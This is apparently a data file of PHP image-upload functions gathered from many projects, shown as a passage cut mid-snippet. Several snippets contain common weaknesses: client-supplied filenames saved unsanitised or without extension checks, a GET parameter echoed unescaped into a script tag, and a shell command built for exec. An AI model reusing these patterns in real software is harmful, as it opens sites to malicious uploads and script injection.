$objTmpFolder->path, $strField);\n\n if (\\Validator::isUuid($varReturn['uuid'])) {\n $arrUuids[] = $varReturn['uuid'];\n }\n }\n\n if ($varReturn !== null) {\n $this->varValue = $arrUuids;\n $objResponse = new ResponseSuccess();\n $objResult = new ResponseData();\n $objResult->setData($varReturn);\n $objResponse->setResult($objResult);\n\n return $objResponse;\n }\n }", "public function uploadPhoto(){\n\t\t$db = $this->db;\n\t\t$allowedExtensions = array(\"jpeg\", \"png\", \"jpg\", \"gif\");\n\t\t$userid = $_SESSION[\"userid\"];\n\t\t$sizeLimit = 5 * 1024 * 1024;\n\t\t$uploader = new qqFileUploader($allowedExtensions,$sizeLimit);\n\t\t\n\t\t$name = $uploader->getName();\n\t\t$splitName = explode(\".\", $name);\n\t\t$uploader->handleUpload(getcwd().\"/../uploads/pics/\");\n\t\t$new = \"uploads/pics/\".$userid.\".\".$splitName[1];\n\t\tif (file_exists(getcwd().\"/../uploads/pics/\".$name)){\n\t\t\trename(getcwd().\"/../uploads/pics/\".$name, getcwd().\"/../\".$new);\n\t\t\t$db->update(\"personal\", array(\"image\"=>$new), $db->quoteInto(\"userid = ?\", $userid));\n\t\t\t$imageApi = new SimpleImage();\n\t\t\t$imageApi->load(getcwd().\"/../\".$new);\n\t\t\tif ($imageApi->getWidth()>320){\n\t\t\t\t$imageApi->resizeToWidth(320);\n\t\t\t\t$imageApi->save(getcwd().\"/../\".$new);\n\t\t\t}\n\t\t\t$data = array();\n\t\t\t$this->subtractRemoteReadyScore($userid, 1);\n\t\t\t\n//\t\t\t$db->delete(\"remote_ready_criteria_entries\", \"userid = \".$userid.\" AND remote_ready_criteria_id = 1\");\n\t\t\t$data[\"userid\"] = $userid;\n\t\t\t$data[\"remote_ready_criteria_id\"] = 1;\n\t\t\t$data[\"date_created\"] = date(\"Y-m-d h:i:s\");\n//\t\t\t$db->insert(\"remote_ready_criteria_entries\", $data);\n\t\t\t\n\t\t\tglobal $base_api_url;\n\t\t\t\n\t\t\tfile_get_contents($base_api_url . \"/mongo-index/sync-candidates-files/?userid=\" . $userid);\n\t\t\treturn array(\"success\"=>true);\n\t\t}else{\n\t\t\treturn array(\"success\"=>false);\n\t\t}\n\t\t\n\t}", "function media_upload_image()\n {\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // if there is an error when moving the file, an exception will\n // be automatically thrown by move(). This will properly prevent\n // the entity from being persisted to the database on error\n $this->getFile()->move($this->getUploadRootDir(), $this->fileName);\n\n // check if we have an old image\n if (isset($this->temp)) {\n // delete the old image\n unlink($this->getUploadRootDir().'/'.$this->temp);\n // clear the temp image path\n $this->temp = null;\n }\n $this->file = null;\n }", "public function action_image()\n\t{\n\t\t//Image::load(DOCROOT.'/files/04_2021/79199dcc06baf4cc230262fcbb4d1094.jpg')->preset('mypreset', DOCROOT.'/files/04_2021/ea7e8ed4bc9d6f7c03f5f374e30b183b.png');\n\t\t$image = Image::forge();\n\n\t\t// Or with optional config\n\t\t$image = Image::forge(array(\n\t\t\t\t'quality' => 80\n\t\t));\n\t\t$image->load(DOCROOT.'/files/04_2021/79199dcc06baf4cc230262fcbb4d1094.jpg')\n\t\t\t\t\t->crop_resize(200, 200)\n\t\t\t\t\t->rounded(100)\n\t\t\t\t\t->output();\n\t\t// Upload an image and pass it directly into the Image::load method.\n\t\tUpload::process(array(\n\t\t\t'path' => DOCROOT.DS.'files'\n\t\t));\n\n\t\tif (Upload::is_valid())\n\t\t{\n\t\t\t$data = Upload::get_files(0);\n\n\t\t\t// Using the file upload data, we can force the image's extension\n\t\t\t// via $force_extension\n\t\t\tImage::load($data['file'], false, $data['extension'])\n\t\t\t\t\t->crop_resize(200, 200)\n\t\t\t\t\t->save('image');\n\t\t} \n\t}", "public function upload64() {\n $post = json_decode(file_get_contents('php://input'), true);\n\n $access = $this->_checkAccess($post['auth'],'shortLiveToken');\n\n if(!isset($access['shortLiveToken'])) {\n $result['err'] = 'Permission Denied';\n echo json_encode($result, true);\n die();\n }\n\n $imgName = md5('avatar.'.$access['shortLiveToken']);\n\n $options = array(\n 'path' => 'uploader/tmpImgStore/',\n 'width' => 300,\n 'height' => 300\n );\n\n require_once('photoProcess.php');\n $photo = new photoProcess();\n $photo->set($options);\n\n $upload = $photo->photo64($post['source'], $imgName);\n\n echo json_encode($upload, true);\n }", "public function processImage($file=null){\n //exit;\n /*\n [name] => kitten2.jpg\n [type] => image/jpeg\n [tmp_name] => /tmp/phphakeNx\n [error] => 0\n [size] => 45460\n */\n $filename = preg_replace(\"/[^a-zA-Z0-9\\.]*/\",'',$file['name']);\n $type = $file['type'];\n $tmp_name = $file['tmp_name'];\n $error = $file['error'];\n $size = $file['size'];\n \n // 1. was a file uploaded?\n if(!$file || !$file['name'] || !$file['tmp_name']){\n $this->_error = \"No file selected\";\n return false;\n }\n \n if($error>0 || $size==0){\n $this->_error = \"File upload error. Please try again\";\n return false;\n }\n \n if(!file_exists($tmp_name)){\n $this->_error = \"File upload error. Server cannot upload file\";\n return false;\n }\n \n // 2. is the file a valid type?\n $array = array(\"image/jpeg\",\"image/png\");\n if(!in_array($type, $array)){\n $this->_error = \"Error: File type (\".$type.\") is not supported\";\n return false;\n }\n \n // 3. could we move it to the tmp area?\n $src = SETTINGS::get()->project_dir.'resources/tmp/'.$filename;\n $dst = SETTINGS::get()->project_dir.'resources/results/'.$_SESSION['tmp_filename'].\".png\";\n if(file_exists($dst)) unlink($dst);\n $result = move_uploaded_file($tmp_name, $src);\n if(!$result){\n $this->_error = \"Error: could not prepare file. Please try again later\";\n return false;\n }\n \n // 4. apply the filter\n $filter_num = intval($_REQUEST['filter']);\n if($filter_num==1) $filter = \"/usr/bin/convert $src -resize 500x500\\> -unsharp 5 -colors 5 -quality 33 $dst\";\n elseif($filter_num==2) $filter = \"/usr/bin/convert $src -resize 500x500\\> -swirl 75 -quality 33 $dst\";\n elseif($filter_num==3) $filter = \"/usr/bin/convert $src -resize 500x500\\> -emboss 5 -quality 33 $dst\";\n else $filter = \"/usr/bin/convert $src -resize 500x500\\> -charcoal 3 -quality 33 $dst\";\n \n //echo $filter; exit;\n $result = exec($filter);\n \n // 5. was it successful?\n if(!file_exists($dst)){\n $this->_error = \"Filter Error! Please try again later\";\n return false;\n }\n \n // 6. done/store to db\n \n \n return true;\n }", "function Trigger_ImageUpload(&$tNG) {\n $uploadObj = new tNG_ImageUpload($tNG);\n $uploadObj->setFormFieldName(\"usr_foto\");\n $uploadObj->setDbFieldName(\"usr_foto\");\n $uploadObj->setFolder(\"../dados/\");\n $uploadObj->setResize(\"false\", 150, 150);\n $uploadObj->setMaxSize(2048);\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\n $uploadObj->setRename(\"custom\");\n $uploadObj->setRenameRule(\"usr{usr_id}_{rs_upload.arquivo}.{KT_ext}\");\n return $uploadObj->Execute();\n}", "public function lifecycleFileUpload() {\n $this->upload();\n }", "function Trigger_ImageUpload(&$tNG) {\n $uploadObj = new tNG_ImageUpload($tNG);\n $uploadObj->setFormFieldName(\"foto_img\");\n $uploadObj->setDbFieldName(\"foto_img\");\n $uploadObj->setFolder(\"../dados/fotos/\");\n $uploadObj->setResize(\"true\", 640, 0);\n $uploadObj->setMaxSize(2048);\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\n $uploadObj->setRename(\"custom\");\n $uploadObj->setRenameRule(\"foto{foto_id}_{rs_upload.arquivo}.{KT_ext}\");\n return $uploadObj->Execute();\n}", "public function lifecycleFileUpload(): void\n {\n $this->upload();\n }", "public function lifecycleFileUpload()\n {\n $this->upload();\n }", "public function lifecycleFileUpload()\n {\n $this->upload();\n }", "function submitImage($userId){\n $target_dir = \"uploads/$userId/\"; //String interpolation is available this way in PHP, but not suggested\n createDirIfNeeded($target_dir);\n $target_file = $target_dir . basename($_FILES[\"fileToUpload\"][\"name\"]);\n $uploadOk = 1;\n $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));\n // Check if image file is a actual image or fake image\n if(isset($_POST[\"submit\"])) {\n $check = getimagesize($_FILES[\"fileToUpload\"][\"tmp_name\"]);\n if($check !== false) {\n echo \"File is an image - \" . $check[\"mime\"] . \".\";\n $uploadOk = 1;\n } else {\n echo \"File is not an image.\";\n $uploadOk = 0;\n }\n }\n if ($uploadOk == 0) {\n echo \"Sorry, your file was not uploaded.\";\n // if everything is ok, try to upload file\n } else {\n if (move_uploaded_file($_FILES[\"fileToUpload\"][\"tmp_name\"], $target_file)) {\n echo \"The file \". basename( $_FILES[\"fileToUpload\"][\"name\"]). \" has been uploaded.\";\n } else {\n echo \"Sorry, there was an error uploading your file.\";\n }\n }\n }", "function Trigger_ImageUpload2(&$tNG) {\r\r\n $uploadObj = new tNG_ImageUpload($tNG);\r\r\n $uploadObj->setFormFieldName(\"photo3\");\r\r\n $uploadObj->setDbFieldName(\"photo3\");\r\r\n $uploadObj->setFolder(\"../assets/images/magasins/\");\r\r\n $uploadObj->setMaxSize(1000);\r\r\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\r\r\n $uploadObj->setRename(\"auto\");\r\r\n return $uploadObj->Execute();\r\r\n}", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->avatar)\n {\n return;\n }\n\n //Lastname du fichier\n $file = $this->id_user.'.'.$this->avatar->guessExtension();\n // move takes the target directory and then the target filename to move to\n $this->avatar->move($this->getUploadRootDir(), $file);\n //Suppression des thumbnail déjà en cache\n @unlink(__DIR__.'/../../../../../web/imagine/thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/avatar_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/moyen_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/mini_thumbnail/avatars/'.$file);\n\n // set the path property to the filename where you'ved saved the file\n $this->avatar = $file;\n }", "public function upload()\n {\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n $this->picture = file_get_contents($this->getFile());\n\n if (isset($this->temp)) {\n $this->temp = null;\n }\n\n $this->file = null;\n }", "public function Uploadpicture()\r\n\t\t{\r\n\t\t}", "public function actionUploads()\n {\n $model = new Imageupload;\n $model->image = UploadedFile::getInstances($model, 'image');\n if ($model->upload()) {\n return 100;\n }\n return 0;\n }", "public function Do_Upload_images($image, $path, $date_added, $page_uid, $page_type = NULL) {\n\n $this->_queries->_res = NULL;\n $get_number_of_images = $this->_queries->GetData(\"promotional_images\", \"page_id\", $page_uid, $option = \"6\");\n\n\n $number = $get_number_of_images['row_count'];\n if ($number < \"1\") {\n var_dump($number);\n $dir = ABSOLUTH_PATH_IMAGES;\n\n foreach ($_FILES as $k => $file) {\n // Create directory if it does not exist\n if (!is_dir(ABSOLUTH_PATH_IMAGE_FRONT_END . \"page_id_\" . $page_uid . \"_images/\")) {\n mkdir(ABSOLUTH_PATH_IMAGE_FRONT_END . \"page_id_\" . $page_uid . \"_images/\");\n }\n\n\n $upload_file_new_name = preg_replace('/^.*\\.([^.]+)$/D', \"image_\" . $page_uid . \"_\" . ((int) $number + 1) . \".$1\", basename($file['name'][\"promo\"][\"uploadimage\"]));\n\n\n $upload_file = ABSOLUTH_PATH_IMAGE_FRONT_END . \"page_id_\" . $page_uid . \"_images/\" . $upload_file_new_name;\n\n\n $path = \"/r.frontend/images/page_id_\" . $page_uid . \"_images/\";\n $uploadOk = 1;\n\n $imageFileType = pathinfo($upload_file, PATHINFO_EXTENSION);\n }\n\n if (isset($_POST['form']['promo']['douploadimage'])) {\n\n $check = getimagesize($file[\"tmp_name\"]['promo']['uploadimage']);\n\n if ($check !== FALSE) {\n $uploadOk = 1;\n } else {\n $uploadOk = 0;\n }\n }\n if (file_exists($upload_file)) {\n $uploadOk = 0;\n }\n if ($file[\"size\"]['promo']['uploadimage'] > 5000000) {\n \n }\n if ($imageFileType != \"jpg\" && $imageFileType != \"png\" && $imageFileType != \"jpeg\" && $imageFileType != \"gif\") {\n $uploadOk = 0;\n }\n if ($uploadOk == 0) {\n \n } else {\n\n if (move_uploaded_file($file[\"tmp_name\"]['promo']['uploadimage'], $upload_file)) {\n\n $image_name = preg_replace('/^.*\\.([^.]+)$/D', \"image_\" . $page_uid . \"_\" . ((int) $number + 1) . \".$1\", basename($file['name'][\"promo\"][\"uploadimage\"]));\n\n $table = array(\"table1\" => \"promotional_images\");\n $columns = array(\"`page_id`\", \"`image_name`\", \"`image_path`\", \"`date_added`\");\n\n $values = array(\"'\" . $page_uid . \"'\", \"'\" . $image_name . \"'\", \"'\" . $path . \"'\", \"'\" . DATE_ADDED . \"'\");\n $values_to_insert = array(\n \"tables\" => $table,\n \"columns\" => $columns,\n \"values\" => $values\n );\n $insert_images_into = $this->_queries->Insertvalues($values_to_insert, $option = \"1\");\n return true;\n } else {\n return false;\n }\n }\n } else {\n $flag = 1;\n if ($flag == 1) {\n $message = \"<li class='list-group-item list-group-item-warning'><i class='glyphicon glyphicon-info-sign'></i>&nbsp;\"\n . \"Only one image per page is allowed. Please delete the previous image.</li>\";\n echo $message;\n }\n }\n }", "public function p_upload(){\n \n if(!isset($_FILES)){\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n }\n //fixed filename upper case possibility.\n $_FILES['avatar_pic']['name'] = strtolower($_FILES['avatar_pic']['name']);\n //get file extension \n $parts = pathinfo( ($_FILES['avatar_pic']['name']) );\n //boolean set to FALSE for incorrect file extension uploading\n $upload_ok = FALSE;\n \n \n \n \n if($parts['extension'] == \"jpg\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"jpeg\")\n $upload_ok = TRUE; \n if($parts['extension'] == \"png\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"gif\")\n $upload_ok = TRUE; \n \n if($upload_ok) { \n //upload the chosen file and rename it temp-user_id.original extension\n Upload::upload($_FILES, \"/uploads/avatars/\", array(\"jpg\", \"jpeg\", \"gif\", \"png\"), \"temp-\".$this->user->user_id); \n //resize the image to 258x181 -- usually it's 258 wide then optimal height.\n $imgObj = new Image(APP_PATH.'uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']);\n \n $imgObj->resize(100, 100);\n $imgObj->save_image(APP_PATH.'uploads/avatars/'.$this->user->user_id.'.'.'png'); //save the file as user_id.png\n unlink('uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']); //delete the temp file\n Router::redirect(\"/users/profile/\".$this->user->user_id);\n }\n else {\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n } //else\n }", "public function upload()\n\t{\n\t if (null === $this->getFile()) {\n\t return;\n\t }\n\t\n\t // use the original file name here but you should\n\t // sanitize it at least to avoid any security issues\n\t\n\t // move takes the target directory and then the\n\t // target filename to move to\n\t \n\t $this->getFile()->move($this->getWebPath(),$this->imagen);\n\t \n\t \n\t // set the path property to the filename where you've saved the file\n\t $this->path = $this->getFile()->getClientOriginalName();\n\t\t//$this->temp = \n\t // clean up the file property as you won't need it anymore\n\t $this->file = null;\n\t}", "private function _imgUpload(){\r\n\r\n\r\n\r\n // It will always be called via ajax so we will respond as such\r\n $result = new stdClass();\r\n $response = 400;\r\n\r\n if($this->hasLogin()){\r\n\r\n /*\r\n \t*\r\n \t*\r\n \t*\tCheck the method used is POST\r\n \t*\r\n \t*\r\n \t*/\r\n \tif($_SERVER['REQUEST_METHOD'] == 'POST'){\r\n\r\n // Mime types of images allowed for upload\r\n $allowed_types = ['image/png', 'image/jpeg', 'image/gif'];\r\n\r\n\r\n\r\n // Something that will return the mime type\r\n $img = getimagesize($_FILES['image']['tmp_name']);\r\n\r\n\r\n\r\n // Get the extension\r\n $extension = pathinfo($_FILES['image']['tmp_name'],PATHINFO_EXTENSION);\r\n\r\n\r\n\r\n // Where is the image currently\r\n $sourcePath = $_FILES['image']['tmp_name'];\r\n\r\n\r\n\r\n // Potentially do a lookup on the mime type and set the extension ourselves\r\n $tmp_name = uniqid().'.'.$extension;\r\n\r\n // Move the image to a _tmp directory which will move again when saved\r\n $targetPath = ROOT.'/site/files/_tmp/'.$tmp_name;\r\n\r\n // This will be the path returned so the image can be displayed in the modal editor\r\n $webPath = WEBROOT.'/site/files/_tmp/'.$tmp_name;\r\n\r\n // Validate the mime type against the allowed array\r\n if(!in_array($img['mime'], $allowed_types)) {\r\n echo \"Only PNG, JPEG or GIF images are allowed!\";\r\n exit;\r\n } elseif(filesize($sourcePath) > 1000000) {\r\n echo \"You cannot upload an image larger that 1mb\";\r\n exit;\r\n }\r\n\r\n // Move the file to the _tmp directory for editing\r\n // return the weburl\r\n if(move_uploaded_file($sourcePath,$targetPath)){\r\n $result->url = $webPath;\r\n $response = 200;\r\n }\r\n\r\n }\r\n\r\n }\r\n // Return the response\r\n http_response_code($response);\r\n echo json_encode($result);\r\n exit;\r\n\r\n\r\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->setImageName($this->getFile()->getClientOriginalName());\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n $callback = 'null';\n $url = '';\n $get = array();\n \n // for form action, pull CKEditorFuncNum from GET string. e.g., 4 from\n // /form/upload?CKEditor=content&CKEditorFuncNum=4&langCode=en\n // Convert GET parameters to PHP variables\n $qry = $_SERVER['REQUEST_URI'];\n parse_str(substr($qry, strpos($qry, '?') + 1), $get);\n \n if (!isset($_POST) || !isset($get['CKEditorFuncNum'])) {\n $msg = 'CKEditor instance not defined. Cannot upload image.';\n } else {\n $callback = $get['CKEditorFuncNum'];\n \n try {\n $url = $this->_move_image($_FILES['upload']);\n $msg = \"File uploaded successfully to: {$url}\";\n \n // Persist additions to file manager CMS here.\n \n } catch (Exception $e) {\n $url = '';\n $msg = $e->getMessage();\n }\n }\n \n // Callback function that will insert image into the correct CKEditor instance\n $output = '<html><body><script type=\"text/javascript\">' .\n 'window.parent.CKEDITOR.tools.callFunction(' .\n $callback .\n ', \"' .\n $url .\n '\", \"' .\n $msg .\n '\");</script></body></html>';\n \n echo $output;\n }", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'user_upload';\n $data['ret_Url'] = 'user_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "public function upload_file(){\n //return from method if file name is sample\n if($this->file_name == 'sample.jpg'){\n return;\n }\n\n $allowed_types = ['image/jpeg', 'image/gif', 'image/png'];\n //check file is an image\n if(!in_array($this->file_type, $allowed_types)){\n throw new Exception('File must be an image');\n exit;\n }\n\n //move from temp dir in to uploads folder\n move_uploaded_file($this->tmp_file_name, $this->dir_location . $this->file_name );\n }", "public function executeUpdateImage(sfWebRequest $request)\n {\n $this->image_for = $request->getParameter('for', '');\n $this->id = $request->getParameter('id');\n $this->type = $request->getParameter('type');\n\n if($this->id && $this->getUser()->isAuthenticated())\n {\n if($request->isMethod('post'))\n {\n $image_name = $request->getParameter('upload-image-file-name');\n $user_id = $this->getUser()->getCurrentUser()->getId();\n\n if($this->type == 'gear')\n {\n $gear = GearPeer::retrieveByPK($this->id);\n $gear->createImages($image_name);\n $route = $gear->getRoute();\n\n RecentActivity::addActivity($user_id, 'updated the image for', array('GearId' => $this->id));\n }\n else\n {\n $company = GearCompanyPeer::retrieveByPK($this->id);\n $company->createImages($image_name);\n $route = $company->getRoute();\n\n RecentActivity::addActivity($user_id, 'updated the image for', array('CompanyId' => $this->id));\n }\n\n $this->redirect($route);\n }\n }\n else\n $this->redirect('@login');\n }", "function Trigger_ImageUpload(&$tNG) {\n $uploadObj = new tNG_ImageUpload($tNG);\n $uploadObj->setFormFieldName(\"detran_img\");\n $uploadObj->setDbFieldName(\"detran_img\");\n $uploadObj->setFolder(\"../dados/detran/\");\n $uploadObj->setResize(\"true\", 300, 0);\n $uploadObj->setMaxSize(1024);\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png, JPG\");\n $uploadObj->setRename(\"custom\");\n $uploadObj->setRenameRule(\"detran{rs_upload.arquivo}.{KT_ext}\");\n return $uploadObj->Execute();\n}", "private function upload()\n { \n $suporteIMG = array (IMAGETYPE_PNG, IMAGETYPE_JPEG, IMAGETYPE_GIF);\n $errorFiles = array();\n for ($i=0; $i < $this->totalFiles(); $i++) { \n $tmpEX = explode('.', $this->files['name'][$i]);\n $ext = end($tmpEX); \n $nome_final = $this-> getUniqid(). $ext; \n if($this->getSize() >= $this->files['size'][$i] && in_array($this->files['type'][$i] , array('image/gif','image/jpeg', 'image/jpg', 'image/png'))):\n if(move_uploaded_file($this->files['tmp_name'][$i], $this->getDir(). '/' . $nome_final )):\n array_push($errorFiles, $nome_final.\"|\");\n endif;\n if (!in_array( exif_imagetype($this->getDir(). '/' .$nome_final) , $suporteIMG) ) : \n // Caso o cabeçalho arquivo esteja alterado o mesmo é removido imediatamente da pasta de upload\n unlink($nome_final);\n endif; \n endif; \n }\n return $errorFiles;\n }", "public function uploadImageAction() {\r\n //GET SLIDESHOW ID\r\n $advancedslideshow_id = (int) $this->_getParam('advancedslideshow_id');\r\n\r\n //GET VIEWER INFORMATION\r\n if (!$this->_helper->requireUser()->checkRequire()) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Max file size limit exceeded (probably).');\r\n return;\r\n }\r\n \r\n if (!$this->getRequest()->isPost()) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Invalid request method');\r\n return;\r\n }\r\n\r\n $values = $this->getRequest()->getPost();\r\n if (empty($values['Filename'])) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('No file');\r\n return;\r\n }\r\n\r\n if (!isset($_FILES['Filedata']) || !is_uploaded_file($_FILES['Filedata']['tmp_name'])) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Invalid Upload');\r\n return;\r\n }\r\n\r\n $db = Engine_Api::_()->getDbtable('images', 'advancedslideshow')->getAdapter();\r\n $db->beginTransaction();\r\n\r\n try {\r\n $params = array(\r\n 'advancedslideshow_id' => $advancedslideshow_id,\r\n 'user_id' => 1,\r\n );\r\n $this->view->status = true;\r\n include_once APPLICATION_PATH . '/application/modules/Advancedslideshow/controllers/license/license3.php';\r\n\r\n $db->commit();\r\n } catch (Exception $e) {\r\n $db->rollBack();\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('An error occurred.');\r\n return;\r\n }\r\n }", "public function run()\n {\n //\n $imagePlan = new Image();\n $imagePlan->save();\n }", "public static function uploadImage($file)\n {\n\n $dir_dest = ROOT . \"../images/portfolio/\";\n $dir_thumb = ROOT . \"../images/portfolio/thumb/\";\n\n #create new names of the uploaded image file\n $imageName = strtolower($file['name']); // Get the name of the file (including file extension).\n $imgFname = substr($imageName, 0, strpos($imageName, '.'));\n $imageExt = substr($imageName, strpos($imageName, '.'), strlen($imageName) - 1); // Get the extension from the filename.\n\n $baseImgName = str_replace(\" \",\"_\",$imgFname);\n\n if (file_exists($dir_dest . $baseImgName . $imageExt)) {\n $baseImgName = str_replace(\" \",\"_\",$imgFname) . rand(0, 999);\n }\n\n $thumb = \"tn_\".$baseImgName;\n\n //$name300px = \"300px\" . $baseImgName;\n //$name125px = \"125px\" . $baseImgName;\n\n #now upload the image and resize\n $handle = new upload($file);\n\n if ($handle->uploaded) {\n\n //upload the main file to the server first\n $handle->file_new_name_body = $baseImgName;\n $handle->Process($dir_dest);\n\n #main file created\n if (!$handle->processed) {\n\n //this should throw exception\n echo $handle->log;\n echo ' Error creating main file: ' . $handle->error . '';\n return false;\n }\n\n // yes, the file is on the server\n // below are some example settings which can be used if the uploaded file is an image.\n $handle->file_new_name_body = $thumb;\n $handle->image_resize = true;\n $handle->image_ratio_crop = 'T';\n $handle->image_y = 271;\n $handle->image_x = 281;\n\n $handle->Process($dir_thumb);\n\n #file created for 300px\n if (!$handle->processed) {\n\n //this should throw exception\n echo $handle->log;\n echo ' Error creating thumb image file: ' . $handle->error . '';\n return false;\n }\n // we delete the temporary files\n $handle->Clean();\n return $baseImgName . strtolower($imageExt);\n }\n //this should throw exception\n echo \"Cannot upload\" . var_export($_FILES, true);\n return false;\n }", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'coupon_upload';\n $data['ret_Url'] = 'coupon_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "public function upfile()\n {\n $accepted_origins = array(\"http://localhost\", \"http://192.168.82.130\", \"\");\n\n // Images upload path\n $imageFolder = \"./upload/image/\";\n\n reset($_FILES);\n $temp = current($_FILES);\n if (is_uploaded_file($temp['tmp_name'])) {\n if (isset($_SERVER['HTTP_ORIGIN'])) {\n // Same-origin requests won't set an origin. If the origin is set, it must be valid.\n if (in_array($_SERVER['HTTP_ORIGIN'], $accepted_origins)) {\n header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);\n } else {\n header(\"HTTP/1.1 403 Origin Denied\");\n return;\n }\n }\n\n $temp['name'] = str_replace(' ','',$temp['name']);\n $temp['name'] = str_replace('(','',$temp['name']);\n $temp['name'] = str_replace(')','',$temp['name']);\n\n // Sanitize input\n if (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", $temp['name'])) {\n header(\"HTTP/1.1 400 Invalid file name.\");\n return;\n }\n\n // Verify extension\n if (!in_array(strtolower(pathinfo($temp['name'], PATHINFO_EXTENSION)), array(\"gif\", \"jpg\", \"png\"))) {\n header(\"HTTP/1.1 400 Invalid extension.\");\n return;\n }\n\n // Accept upload if there was no origin, or if it is an accepted origin\n $filetowrite = $imageFolder . $temp['name'];\n move_uploaded_file($temp['tmp_name'], $filetowrite);\n\n $link = base_url('upload/image/'.$temp['name']);\n // Respond to the successful upload with JSON.\n echo json_encode(array('location' => $link));\n } else {\n // Notify editor that the upload failed\n header(\"HTTP/1.1 500 Server Error\");\n }\n }", "public function uploadImage($file)\n {\n $iErrorCode = 0 ;\n\n if ($iErrorCode == 0) {\n $zFileName = $_FILES[$file][\"name\"] ;\n $zFileType = $_FILES[$file][\"type\"] ;\n $iFileSize = intval ($_FILES[$file][\"size\"]) ;\n $zDirTempName = $_FILES[$file][\"tmp_name\"] ;\n\n $bCreateFolders = true ;\n $zBackgroundColor = null ;\n $iImageQuality = IMAGE_QUALITY ;\n\n // rename file if already exists\n if (file_exists (\"publicites/big/\" . $zFileName)) {\n $iExistFileCount = 1 ;\n\n $zExt = strtolower (CCommonTools::getFileNameExtension ($zFileName)) ;\n $zNoExtName = preg_replace (\"/[.]\" . $zExt . \"$/\", \"\", $zFileName) ;\n\n while (file_exists (\"publicites/big\" . \"/\" . $zNoExtName . \"-\" . $iExistFileCount . \".\" . $zExt))\n {\n $iExistFileCount++ ;\n }\n $zFileName = $zNoExtName . \"-\" . $iExistFileCount . \".\" . $zExt ;\n }\n // big \n $oLayerBig = ImageWorkshop::initFromPath ($_FILES [$file]['tmp_name']) ;\n $oLayerBig->save (\"publicites/big\", $zFileName, $bCreateFolders, $zBackgroundColor, $iImageQuality) ;\n\n // thumbnail (must)\n $oLayerThumbnail = ImageWorkshop::initFromPath ($_FILES [$file]['tmp_name']) ;\n $iExpectedWidth = 96 ;\n $iExpectedHeight = 96 ;\n\n ($iExpectedWidth > $iExpectedHeight) ? $iLargestSide = $iExpectedWidth : $iLargestSide = $iExpectedHeight;\n\n $oLayerThumbnail->cropMaximumInPixel (0, 0, \"MM\") ;\n $oLayerThumbnail->resizeInPixel ($iLargestSide, $iLargestSide) ;\n $oLayerThumbnail->cropInPixel ($iExpectedWidth, $iExpectedHeight, 0, 0, 'MM') ;\n $oLayerThumbnail->save (\"publicites/thumbnail\", $zFileName, $bCreateFolders, $zBackgroundColor, $iImageQuality) ;\n // rename file if already exists\n\n if ($iErrorCode == 0) {\n $this->image = $zFileName;\n }\n return $iErrorCode;\n }\n }", "function Trigger_ImageUpload3(&$tNG) {\r\r\n $uploadObj = new tNG_ImageUpload($tNG);\r\r\n $uploadObj->setFormFieldName(\"logo\");\r\r\n $uploadObj->setDbFieldName(\"logo\");\r\r\n $uploadObj->setFolder(\"assets/images/magasins/\");\r\r\n $uploadObj->setResize(\"true\", 400, 400);\r\r\n $uploadObj->setMaxSize(1500);\r\r\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\r\r\n $uploadObj->setRename(\"auto\");\r\r\n return $uploadObj->Execute();\r\r\n}", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'carousel_upload';\n $data['ret_Url'] = 'carousel_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->id . '.' .$this->ext\n );\n\n // set the ext property to the filename where you've saved the file\n //$this->ext = $this->file->getClientOriginalName();\n\n // clean up the file property as you won't need it 